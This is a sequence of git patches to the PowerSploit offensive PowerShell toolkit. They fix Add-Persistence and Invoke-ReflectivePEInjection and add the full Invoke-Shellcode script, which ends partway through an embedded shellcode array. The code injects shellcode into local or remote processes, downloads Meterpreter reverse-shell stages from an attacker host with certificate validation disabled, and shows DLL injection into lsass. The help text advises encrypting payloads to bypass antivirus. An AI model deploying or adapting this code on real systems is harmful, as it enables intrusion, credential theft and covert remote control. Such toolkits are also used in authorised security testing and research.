Date: Mon, 17 Nov 2014 08:24:54 -0500 Subject: [PATCH 010/296] Add-Persistence bugfix When file paths were specified, they were not being properly validated. --- Persistence/Persistence.psd1 | 2 +- Persistence/Persistence.psm1 | 32 ++++++++++++++++++++++---------- 2 files changed, 23 insertions(+), 11 deletions(-) diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index f51f7ce0..e17faf1f 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Persistence.psm1' # Version number of this module. -ModuleVersion = '1.1.0.0' +ModuleVersion = '1.1.1.0' # ID used to uniquely identify this module GUID = '633d0f10-a056-41da-869d-6d2f75430195' diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 344c13d0..7528f2e4 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -417,11 +417,9 @@ function Add-Persistence [String] $PersistenceScriptName = 'Update-Windows', - [ValidateNotNullOrEmpty()] [String] $PersistentScriptFilePath = "$PWD\Persistence.ps1", - [ValidateNotNullOrEmpty()] [String] $RemovalScriptFilePath = "$PWD\RemovePersistence.ps1", @@ -446,35 +444,49 @@ function Add-Persistence throw 'You provided invalid user-level persistence options.' } - $Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop + $Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue + if ($Result -and $Result.PSIsContainer) + { + throw 'You must provide a file name with the PersistentScriptFilePath option.' + } + + $Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue + if ($Result -and $Result.PSIsContainer) + { + throw 'You must provide a file name with the RemovalScriptFilePath option.' + } + + $PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop $PersistentScriptFile = '' $RemovalScriptFile = '' - if ($Path -eq '') + if ($PersistentPath -eq '') { + # i.e. Only a file name was provided implying $PWD $PersistentScriptFile = "$($PWD)\$($Leaf)" } else { - $PersistentScriptFile = "$($Path)\$($Leaf)" + $PersistentScriptFile = "$(Resolve-Path $PersistentPath)\$($Leaf)" } - $Path = Split-Path $RemovalScriptFilePath -ErrorAction Stop + $RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop - if ($Path -eq '') + if ($RemovalPath -eq '') { + # i.e. Only a file name was provided implying $PWD $RemovalScriptFile = "$($PWD)\$($Leaf)" } else { - $RemovalScriptFile = "$($Path)\$($Leaf)" + $RemovalScriptFile = "$(Resolve-Path $RemovalPath)\$($Leaf)" } if ($PSBoundParameters['FilePath']) { - Get-ChildItem $FilePath -ErrorAction Stop - $Script = [IO.File]::ReadAllText((Resolve-Path $Path)) + $null = Get-ChildItem $FilePath -ErrorAction Stop + $Script = [IO.File]::ReadAllText((Resolve-Path $FilePath)) } else { From 90a05de7a66c3f256dd206ec4c8ba4b70bb02016 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Wed, 7 Jan 2015 21:08:58 -0800 Subject: [PATCH 011/296] Bugfix: Resolving ordinals in remote dll injection Thanks to sixdub for finding and fixing a bug when resolving functions by ordinal in remote processes. --- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 9f13d809..f149ed29 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -33,7 +33,7 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.2 +Version: 1.3 .DESCRIPTION @@ -1547,7 +1547,7 @@ $RemoteScriptBlock = { { Throw "Unable to allocate memory in the remote process for shellcode" } - + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { From 93bc214659966bbbc77e85e08a44988044164735 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Mon, 26 Jan 2015 09:26:43 -0800 Subject: [PATCH 012/296] Adding PEBytes parameter Added PEBytes parameter for reflectively loading a PE file passed as a byte array to the script. --- .../Invoke-ReflectivePEInjection.ps1 | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index f149ed29..4ca1b9da 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -23,7 +23,7 @@ from the DLL. The script doesn't wait for the DLL to complete execution, and doe remote process. -While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array +While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba blog linked below (thanks to whitey). @@ -33,7 +33,7 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.3 +Version: 1.4 .DESCRIPTION @@ -47,6 +47,10 @@ The path of the DLL/EXE to load and execute. This file must exist on the compute A URL containing a DLL/EXE to load and execute. +.PARAMETER PEBytes + +A byte array containing a DLL/EXE to load and execute. + .PARAMETER ComputerName Optional, an array of computernames to run the script on. @@ -107,6 +111,11 @@ Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local +.EXAMPLE + +Load a PE from a byte array. +Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4" + .NOTES GENERAL NOTES: The script has 3 basic sets of functionality: @@ -182,6 +191,11 @@ Param( [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] [Uri] $PEUrl, + + [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)] + [ValidateNotNullOrEmpty()] + [Byte[]] + $PEBytes, [Parameter(Position = 1)] [String[]] @@ -2886,14 +2900,12 @@ Function Main Write-Verbose "PowerShell ProcessID: $PID" - [Byte[]]$PEBytes = $null - if ($PsCmdlet.ParameterSetName -ieq "LocalFile") { Get-ChildItem $PEPath -ErrorAction Stop | Out-Null [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) } - else + elseif ($PsCmdlet.ParameterSetName -ieq "WebFile") { $WebClient = New-Object System.Net.WebClient From 59b35d1470698b04168275b0ec65fb7905fa72f7 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Tue, 3 Feb 2015 21:24:28 -0500 Subject: [PATCH 013/296] Moved Invoke-Shellcode These things happen --- CodeExecution/CodeExecution.psd1 | 2 +- CodeExecution/CodeExecution.psm1 | 2 +- CodeExecution/Invoke--Shellcode.ps1 | 713 +++++++++++++++++++++++++++ CodeExecution/Invoke-Shellcode.ps1 | 721 +--------------------------- 4 files changed, 723 insertions(+), 715 deletions(-) create mode 100644 CodeExecution/Invoke--Shellcode.ps1 diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 85258a57..b67cc9e1 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -73,7 +73,7 @@ AliasesToExport = '' ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}) # List of all files packaged with this module -FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', +FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1', 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1 index 81d38186..934fa382 100644 --- a/CodeExecution/CodeExecution.psm1 +++ b/CodeExecution/CodeExecution.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | ? {$_.Name -ne 'Invoke-Shellcode.ps1'} | % { . $_.FullName} diff --git a/CodeExecution/Invoke--Shellcode.ps1 b/CodeExecution/Invoke--Shellcode.ps1 new file mode 100644 index 00000000..4d776d98 --- /dev/null +++ b/CodeExecution/Invoke--Shellcode.ps1 @@ -0,0 +1,713 @@ +function Invoke-Shellcode +{ +<# +.SYNOPSIS + +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. + +.PARAMETER ProcessID + +Process ID of the process you want to inject shellcode into. + +.PARAMETER Shellcode + +Specifies an optional shellcode passed in as a byte array + +.PARAMETER ListMetasploitPayloads + +Lists all of the available Metasploit payloads that Invoke-Shellcode supports + +.PARAMETER Lhost + +Specifies the IP address of the attack machine waiting to receive the reverse shell + +.PARAMETER Lport + +Specifies the port of the attack machine waiting to receive the reverse shell + +.PARAMETER Payload + +Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. + +.PARAMETER UserAgent + +Optionally specifies the user agent to use when using meterpreter http or https payloads + +.PARAMETER Force + +Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ProcessId 4274 + +Description +----------- +Inject shellcode into process ID 4274. + +.EXAMPLE + +C:\PS> Invoke-Shellcode + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +.EXAMPLE + +C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden +C:\PS> $Proc = Get-Process notepad +C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose + +VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM +VERBOSE: Injecting shellcode into PID: 4004 +VERBOSE: Injecting into a Wow64 process. +VERBOSE: Using 32-bit shellcode. +VERBOSE: Shellcode memory reserved at 0x03BE0000 +VERBOSE: Emitting 32-bit assembly call stub. +VERBOSE: Thread call stub memory reserved at 0x001B0000 +VERBOSE: Shellcode injection complete! + +Description +----------- +Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_https): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 443 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 + +Description +----------- +Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_http): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 80 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ListMetasploitPayloads + +Payloads +-------- +windows/meterpreter/reverse_http +windows/meterpreter/reverse_https + +.NOTES + +Use the '-Verbose' option to print detailed information. + +Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter + +Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ + +.LINK + +http://www.exploit-monday.com +#> + +[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateSet( 'windows/meterpreter/reverse_http', + 'windows/meterpreter/reverse_https', + IgnoreCase = $True )] + [String] + $Payload = 'windows/meterpreter/reverse_http', + + [Parameter( ParameterSetName = 'ListPayloads' )] + [Switch] + $ListMetasploitPayloads, + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateNotNullOrEmpty()] + [String] + $Lhost = '127.0.0.1', + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateRange( 1,65535 )] + [Int] + $Lport = 8443, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [String] + $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', + + [Switch] + $Force = $False +) + + Set-StrictMode -Version 2.0 + + # List all available Metasploit payloads and exit the function + if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') + { + $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | + Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} + + foreach ($Payload in $AvailablePayloads.ValidValues) + { + New-Object PSObject -Property @{ Payloads = $Payload } + } + + Return + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Ensure a valid process ID was provided + # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive + Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null + } + + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload + function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) + { + $IntSizePtr = $Architecture / 8 + + function Local:ConvertTo-LittleEndian ([IntPtr] $Address) + { + $LittleEndianByteArray = New-Object Byte[](0) + $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } + [System.Array]::Reverse($LittleEndianByteArray) + + Write-Output $LittleEndianByteArray + } + + $CallStub = New-Object Byte[](0) + + if ($IntSizePtr -eq 8) + { + [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL RAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL RAX + } + else + { + [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL EAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL EAX + } + + Write-Output $CallStub + } + + function Local:Inject-RemoteShellcode ([Int] $ProcessID) + { + # Open a handle to the process you want to inject into + $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) + + if (!$hProcess) + { + Throw "Unable to open a process handle for PID: $ProcessID" + } + + $IsWow64 = $false + + if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + { + # Determine is the process specified is 32 or 64 bit + $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null + + if ((!$IsWow64) -and $PowerShell32bit) + { + Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + } + elseif ($IsWow64) # 32-bit Wow64 process + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Injecting into a Wow64 process.' + Write-Verbose 'Using 32-bit shellcode.' + } + else # 64-bit process + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + } + else # 32-bit CPU + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + + # Reserve and commit enough memory in remote process to hold the shellcode + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteMemAddr) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode into the previously allocated memory + $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($IsWow64) + { + # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate inline assembly stub + $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteStubAddr) + { + Throw "Unable to allocate thread call stub memory in PID: $ProcessID" + } + + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Write 32-bit assembly stub to remote process memory space + $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null + + # Execute shellcode as a remote thread + $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) + + if (!$ThreadHandle) + { + Throw "Unable to launch remote thread in PID: $ProcessID" + } + + # Close process handle + $CloseHandle.Invoke($hProcess) | Out-Null + + Write-Verbose 'Shellcode injection complete!' + } + + function Local:Inject-LocalShellcode + { + if ($PowerShell32bit) { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + return + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + else + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + return + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + + # Allocate RWX memory for the shellcode + $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$BaseAddress) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($PowerShell32bit) + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate RWX memory for the thread call stub + $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$CallStubAddress) + { + Throw "Unable to allocate thread call stub." + } + + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy call stub to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) + + # Launch shellcode in it's own thread + $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) + if (!$ThreadHandle) + { + Throw "Unable to launch thread." + } + + # Wait for shellcode thread to terminate + $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null + + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + + Write-Verbose 'Shellcode injection complete!' + } + + # A valid pointer to IsWow64Process will be returned if CPU is 64-bit + $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process + if ($IsWow64ProcessAddr) + { + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + + $64bitCPU = $true + } + else + { + $64bitCPU = $false + } + + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $true + } + else + { + $PowerShell32bit = $false + } + + if ($PsCmdlet.ParameterSetName -eq 'Metasploit') + { + if (!$PowerShell32bit) { + # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell + # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function + + # Pull out just the content of the this script's invocation. + $RootInvocation = $MyInvocation.Line + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", + "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } + + if ( !$Response ) + { + # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function + Return + } + + # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. + if ($MyInvocation.BoundParameters['Force']) + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" + } + else + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" + } + + $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) + $EncodedCommand = [Convert]::ToBase64String($CommandBytes) + + $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" + Invoke-Expression -Command $Execute | Out-Null + + # Exit the script since the shellcode will be running from x86 PowerShell + Return + } + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", + "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } + + if ( !$Response ) + { + # User opted not to carry out download of Metasploit payload. Exit function + Return + } + + switch ($Payload) + { + 'windows/meterpreter/reverse_http' + { + $SSL = '' + } + + 'windows/meterpreter/reverse_https' + { + $SSL = 's' + # Accept invalid certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + } + } + + # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? + $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" + Write-Verbose "Requesting meterpreter payload from $Request" + + $Uri = New-Object Uri($Request) + $WebClient = New-Object System.Net.WebClient + $WebClient.Headers.Add('user-agent', "$UserAgent") + + try + { + [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) + } + catch + { + Throw "$($Error[0].Exception.InnerException.InnerException.Message)" + } + [Byte[]] $Shellcode64 = $Shellcode32 + + } + elseif ($PSBoundParameters['Shellcode']) + { + # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets + # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. + [Byte[]] $Shellcode32 = $Shellcode + [Byte[]] $Shellcode64 = $Shellcode32 + } + else + { + # Pop a calc... or whatever shellcode you decide to place in here + # I sincerely hope you trust that this shellcode actually pops a calc... + # Insert your shellcode here in the for 0xXX,0xXX,... + # 32-bit payload + # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 